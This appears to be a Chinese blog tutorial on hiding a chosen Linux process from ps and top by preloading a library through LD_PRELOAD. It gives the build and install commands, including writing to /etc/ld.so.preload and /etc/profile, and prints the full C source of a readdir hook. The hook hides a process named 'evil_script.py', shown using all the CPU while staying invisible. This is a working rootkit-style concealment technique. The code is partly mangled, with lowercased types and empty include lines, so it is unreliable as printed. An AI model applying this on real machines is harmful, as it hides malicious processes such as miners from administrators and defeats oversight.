linux隐藏特定进程,linux 下隐藏进程的一种方法

前言

本文所用到的工具在 可以下载

思路就是利用 ld_preload 来实现系统函数的劫持

ld_preload是什么:

ld_preload是linux系统的一个环境变量,它可以影响程序的运行时的链接(runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

实现

1.下载程序编译

bmfxgkpt-yhd:~# git clone https://github.com/gianlucaborello/libprocesshider.git

cloning into 'libprocesshider'...

remote: counting objects: 26, done.

remote: total 26 (delta 0), reused 0 (delta 0), pack-reused 26

unpacking objects: 100% (26/26), done.

bmfxgkpt-yhd:~# cd libprocesshider/

bmfxgkpt-yhd:~/libprocesshider# make

gcc -wall -fpic -shared -o libprocesshider.so processhider.c -ldl

bmfxgkpt-yhd:~/libprocesshider#

2.移动文件到/usr/local/lib/目录下

mv libprocesshider.so /usr/local/lib/

3.把它加载到全局动态连接局

echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

测试

我们运行evil_script.py

此时发现在top 与 ps 中都无法找到 evil_script.py

2acc3d2ba10bd0b0d4ef23afe1de469a.png

此时我们发现 cpu 100%,但是却找不到任何占用cpu高的程序

分析

#define _gnu_source

#include

#include

#include

#include

#include

/*

* every process with this name will be excluded

*/

static const char* process_to_filter = "evil_script.py";

/*

* get a directory name given a dir* handle

*/

static int get_dir_name(dir* dirp, char* buf, size_t size)

{

int fd = dirfd(dirp);

if(fd == -1) {

return 0;

}

char tmp[64];

snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);

ssize_t ret = readlink(tmp, buf, size);

if(ret == -1) {

return 0;

}

buf[ret] = 0;

return 1;

}

/*

* get a process name given its pid

*/

static int get_process_name(char* pid, char* buf)

{

if(strspn(pid, "0123456789") != strlen(pid)) {

return 0;

}

char tmp[256];

snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);

file* f = fopen(tmp, "r");

if(f == null) {

return 0;

}

if(fgets(tmp, sizeof(tmp), f) == null) {

fclose(f);

return 0;

}

fclose(f);

int unused;

sscanf(tmp, "%d (%[^)]s", &unused, buf);

return 1;

}

#define declare_readdir(dirent, readdir) \

static struct dirent* (*original_##readdir)(dir*) = null; \

\

struct dirent* readdir(dir *dirp) \

{ \

if(original_##readdir == null) { \

original_##readdir = dlsym(rtld_next, "readdir"); \

if(original_##readdir == null) \

{ \

fprintf(stderr, "error in dlsym: %s\n", dlerror()); \

} \

} \

\

struct dirent* dir; \

\

while(1) \

{ \

dir = original_##readdir(dirp); \

if(dir) { \

char dir_name[256]; \

char process_name[256]; \

if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \

strcmp(dir_name, "/proc") == 0 && \

get_process_name(dir->d_name, process_name) && \

strcmp(process_name, process_to_filter) == 0) { \

continue; \

} \

} \

break; \

} \

return dir; \

}

declare_readdir(dirent64, readdir64);

declare_readdir(dirent, readdir);

程序定义了一个变量 process_to_filter 来控制不显示哪个进程名

重写readdir,

strcmp(process_name, process_to_filter) == 0)

当发现当前进程名称与 process_to_filter 相同时,继续循环.

遇到的坑

某些linux中这个程序编译通不过

解决方法

删除最后两行中的一行

declare_readdir(dirent64, readdir64);

declare_readdir(dirent, readdir);

某些linux中使用

echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

并不会生效

此时我们需要配置环境变量

bmfxgkpt-yhd:~# vi /etc/profile

增加一行

export ld_preload=/usr/local/lib/libprocesshider.so

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值